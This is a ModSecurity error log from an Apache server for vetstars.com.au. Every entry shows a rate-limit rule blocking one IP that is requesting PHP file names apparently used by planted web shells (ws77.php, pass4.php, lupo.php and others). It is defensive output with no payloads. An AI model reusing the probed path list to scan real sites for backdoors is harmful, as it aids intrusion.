[Fri Feb 27 22:17:00.666163 2026] [:error] [pid 62998:tid 63026] [client 20.220.221.45:41037] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "aaGnXFQeueXZDUmoLolzPwAAARg"]
[Fri Feb 27 22:17:01.129635 2026] [:error] [pid 62998:tid 63023] [client 20.220.221.45:40966] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "aaGnXVQeueXZDUmoLolzQgAAARU"]
[Fri Feb 27 22:17:01.552250 2026] [:error] [pid 54231:tid 54257] [client 20.220.221.45:40915] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "aaGnXeTvb5AeyJCdY7AzUwAAAFc"]
[Fri Feb 27 22:17:01.978578 2026] [:error] [pid 56075:tid 56101] [client 20.220.221.45:41086] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "aaGnXcKBhrfI6KNv9RgpjQAAABc"]
[Fri Feb 27 22:17:02.404089 2026] [:error] [pid 52073:tid 52100] [client 20.220.221.45:41041] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "aaGnXoa650YPyxXVeRanWAAAAZg"]
[Fri Feb 27 22:17:02.840750 2026] [:error] [pid 56075:tid 56090] [client 20.220.221.45:40991] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "aaGnXsKBhrfI6KNv9RgpkwAAAAw"]
[Fri Feb 27 22:17:03.263920 2026] [:error] [pid 56075:tid 56099] [client 20.220.221.45:41054] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "aaGnX8KBhrfI6KNv9RgplwAAABU"]
[Fri Feb 27 22:17:03.695437 2026] [:error] [pid 54231:tid 54235] [client 20.220.221.45:40920] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aqotrjkg.php"] [unique_id "aaGnX-Tvb5AeyJCdY7AzWAAAAEE"]
[Fri Feb 27 22:17:04.107524 2026] [:error] [pid 54101:tid 54114] [client 20.220.221.45:41061] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aqotrjkg.php"] [unique_id "aaGnYFY5qgRktcYTGFtVVQAAAcY"]
[Fri Feb 27 22:17:04.544636 2026] [:error] [pid 54231:tid 54241] [client 20.220.221.45:41048] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aqotrjkg.php"] [unique_id "aaGnYOTvb5AeyJCdY7AzWQAAAEc"]
[Fri Feb 27 22:17:04.979637 2026] [:error] [pid 54231:tid 54239] [client 20.220.221.45:40977] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aqotrjkg.php"] [unique_id "aaGnYOTvb5AeyJCdY7AzXAAAAEU"]
[Fri Feb 27 22:17:05.398118 2026] [:error] [pid 54231:tid 54249] [client 20.220.221.45:40992] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass4.php"] [unique_id "aaGnYeTvb5AeyJCdY7AzYAAAAE8"]
[Fri Feb 27 22:17:05.821878 2026] [:error] [pid 56075:tid 56084] [client 20.220.221.45:41059] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass4.php"] [unique_id "aaGnYcKBhrfI6KNv9RgpoQAAAAc"]
[Fri Feb 27 22:17:06.263616 2026] [:error] [pid 54231:tid 54236] [client 20.220.221.45:40994] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass4.php"] [unique_id "aaGnYuTvb5AeyJCdY7AzZQAAAEI"]
[Fri Feb 27 22:17:06.676913 2026] [:error] [pid 62998:tid 63017] [client 20.220.221.45:40981] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass4.php"] [unique_id "aaGnYlQeueXZDUmoLolzTAAAAQ8"]
[Fri Feb 27 22:17:07.153591 2026] [:error] [pid 49306:tid 49319] [client 20.220.221.45:40972] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/trx24.php"] [unique_id "aaGnY_nSUDZue59Px9tPJAAAAUs"]
[Fri Feb 27 22:17:07.583135 2026] [:error] [pid 54101:tid 54127] [client 20.220.221.45:40998] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/trx24.php"] [unique_id "aaGnY1Y5qgRktcYTGFtVVgAAAdM"]
[Fri Feb 27 22:17:08.005692 2026] [:error] [pid 56075:tid 56083] [client 20.220.221.45:40911] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/trx24.php"] [unique_id "aaGnZMKBhrfI6KNv9RgppwAAAAY"]
[Fri Feb 27 22:17:08.451695 2026] [:error] [pid 49306:tid 49329] [client 20.220.221.45:41071] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/trx24.php"] [unique_id "aaGnZPnSUDZue59Px9tPJgAAAVU"]
[Fri Feb 27 22:17:08.864728 2026] [:error] [pid 54103:tid 54176] [client 20.220.221.45:41000] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aaGnZOvG4MPCmE0B2sDAMQAAAMU"]
[Fri Feb 27 22:17:09.282652 2026] [:error] [pid 56075:tid 56084] [client 20.220.221.45:40909] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aaGnZcKBhrfI6KNv9RgpqwAAAAc"]
[Fri Feb 27 22:17:09.697182 2026] [:error] [pid 56075:tid 56099] [client 20.220.221.45:41024] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aaGnZcKBhrfI6KNv9RgprwAAABU"]
[Fri Feb 27 22:17:10.116258 2026] [:error] [pid 56075:tid 56085] [client 20.220.221.45:40907] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aaGnZsKBhrfI6KNv9RgpsQAAAAg"]
[Fri Feb 27 22:17:10.553907 2026] [:error] [pid 56075:tid 56093] [client 20.220.221.45:40975] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aaGnZsKBhrfI6KNv9RgptAAAAA8"]
[Fri Feb 27 22:17:10.967779 2026] [:error] [pid 54103:tid 54177] [client 20.220.221.45:41008] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aaGnZuvG4MPCmE0B2sDAMgAAAMY"]
[Fri Feb 27 22:17:11.383914 2026] [:error] [pid 56075:tid 56097] [client 20.220.221.45:41043] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aaGnZ8KBhrfI6KNv9RgpuwAAABM"]
[Fri Feb 27 22:17:11.804326 2026] [:error] [pid 52073:tid 52094] [client 20.220.221.45:41034] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajkgsbb.php"] [unique_id "aaGnZ4a650YPyxXVeRandAAAAZI"]
[Fri Feb 27 22:17:12.230186 2026] [:error] [pid 54103:tid 54194] [client 20.220.221.45:40970] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bhigtouj.php"] [unique_id "aaGnaOvG4MPCmE0B2sDAMwAAANc"]
[Fri Feb 27 22:17:12.643683 2026] [:error] [pid 49306:tid 49323] [client 20.220.221.45:41072] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bhigtouj.php"] [unique_id "aaGnaPnSUDZue59Px9tPKgAAAU8"]
[Fri Feb 27 22:17:13.054114 2026] [:error] [pid 52073:tid 52093] [client 20.220.221.45:41069] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bhigtouj.php"] [unique_id "aaGnaYa650YPyxXVeRandwAAAZE"]
[Fri Feb 27 22:17:13.491529 2026] [:error] [pid 52073:tid 52088] [client 20.220.221.45:41026] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bhigtouj.php"] [unique_id "aaGnaYa650YPyxXVeRaneQAAAYw"]
[Fri Feb 27 22:17:13.909349 2026] [:error] [pid 49306:tid 49327] [client 20.220.221.45:41087] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggddssvl.php"] [unique_id "aaGnafnSUDZue59Px9tPLAAAAVM"]
[Fri Feb 27 22:17:14.363150 2026] [:error] [pid 49306:tid 49312] [client 20.220.221.45:41079] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggddssvl.php"] [unique_id "aaGnavnSUDZue59Px9tPLgAAAUQ"]
[Fri Feb 27 22:17:14.798353 2026] [:error] [pid 56075:tid 56095] [client 20.220.221.45:40906] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggddssvl.php"] [unique_id "aaGnasKBhrfI6KNv9RgpyAAAABE"]
[Fri Feb 27 22:17:15.235366 2026] [:error] [pid 56075:tid 56077] [client 20.220.221.45:40901] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggddssvl.php"] [unique_id "aaGna8KBhrfI6KNv9RgpzAAAAAA"]
[Fri Feb 27 22:17:15.659209 2026] [:error] [pid 56075:tid 56090] [client 20.220.221.45:40903] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uujuu.php"] [unique_id "aaGna8KBhrfI6KNv9Rgp0AAAAAw"]
[Fri Feb 27 22:17:16.072308 2026] [:error] [pid 56075:tid 56084] [client 20.220.221.45:41073] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uujuu.php"] [unique_id "aaGnbMKBhrfI6KNv9Rgp0wAAAAc"]
[Fri Feb 27 22:17:16.491687 2026] [:error] [pid 56075:tid 56093] [client 20.220.221.45:40974] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uujuu.php"] [unique_id "aaGnbMKBhrfI6KNv9Rgp2wAAAA8"]
[Fri Feb 27 22:17:16.903769 2026] [:error] [pid 49306:tid 49314] [client 20.220.221.45:40904] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uujuu.php"] [unique_id "aaGnbPnSUDZue59Px9tPNQAAAUY"]
[Fri Feb 27 22:17:17.334781 2026] [:error] [pid 52073:tid 52090] [client 20.220.221.45:40948] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aaGnbYa650YPyxXVeRangQAAAY4"]
[Fri Feb 27 22:17:17.788855 2026] [:error] [pid 52073:tid 52078] [client 20.220.221.45:41033] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aaGnbYa650YPyxXVeRanhwAAAYI"]
[Fri Feb 27 22:17:18.210144 2026] [:error] [pid 54101:tid 54130] [client 20.220.221.45:40833] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aaGnblY5qgRktcYTGFtVWgAAAdY"]
[Fri Feb 27 22:17:18.657093 2026] [:error] [pid 56075:tid 56099] [client 20.220.221.45:41044] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "aaGnbsKBhrfI6KNv9Rgp3wAAABU"]
[Fri Feb 27 22:17:19.076990 2026] [:error] [pid 62998:tid 63008] [client 20.220.221.45:40960] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp5.php"] [unique_id "aaGnb1QeueXZDUmoLolzYgAAAQY"]
[Fri Feb 27 22:17:19.498702 2026] [:error] [pid 49306:tid 49330] [client 20.220.221.45:41074] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp5.php"] [unique_id "aaGnb_nSUDZue59Px9tPOQAAAVY"]
[Fri Feb 27 22:17:19.912193 2026] [:error] [pid 56075:tid 56095] [client 20.220.221.45:40986] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp5.php"] [unique_id "aaGnb8KBhrfI6KNv9Rgp6AAAABE"]
[Fri Feb 27 22:17:20.325213 2026] [:error] [pid 56075:tid 56102] [client 20.220.221.45:41070] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp5.php"] [unique_id "aaGncMKBhrfI6KNv9Rgp6wAAABg"]
[Fri Feb 27 22:17:20.738822 2026] [:error] [pid 56075:tid 56092] [client 20.220.221.45:41057] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ckmtelzy.php"] [unique_id "aaGncMKBhrfI6KNv9Rgp7gAAAA4"]
[Fri Feb 27 22:17:21.156172 2026] [:error] [pid 56075:tid 56086] [client 20.220.221.45:41006] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ckmtelzy.php"] [unique_id "aaGnccKBhrfI6KNv9Rgp9QAAAAk"]
[Fri Feb 27 22:17:21.569698 2026] [:error] [pid 56075:tid 56085] [client 20.220.221.45:40913] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ckmtelzy.php"] [unique_id "aaGnccKBhrfI6KNv9Rgp-gAAAAg"]
[Fri Feb 27 22:17:22.023934 2026] [:error] [pid 62998:tid 63006] [client 20.220.221.45:41029] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ckmtelzy.php"] [unique_id "aaGnclQeueXZDUmoLolzawAAAQQ"]
[Fri Feb 27 22:17:22.442088 2026] [:error] [pid 56075:tid 56096] [client 20.220.221.45:40932] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abpxrnwe.php"] [unique_id "aaGncsKBhrfI6KNv9RgqBAAAABI"]
[Fri Feb 27 22:17:22.852345 2026] [:error] [pid 56075:tid 56098] [client 20.220.221.45:41003] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abpxrnwe.php"] [unique_id "aaGncsKBhrfI6KNv9RgqCgAAABQ"]
[Fri Feb 27 22:17:23.270876 2026] [:error] [pid 54103:tid 54181] [client 20.220.221.45:40951] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abpxrnwe.php"] [unique_id "aaGnc-vG4MPCmE0B2sDAQQAAAMo"]
[Fri Feb 27 22:17:23.715295 2026] [:error] [pid 52073:tid 52089] [client 20.220.221.45:40963] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abpxrnwe.php"] [unique_id "aaGnc4a650YPyxXVeRankgAAAY0"]
[Fri Feb 27 22:17:24.152271 2026] [:error] [pid 56075:tid 56084] [client 20.220.221.45:40934] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aaGndMKBhrfI6KNv9RgqDQAAAAc"]
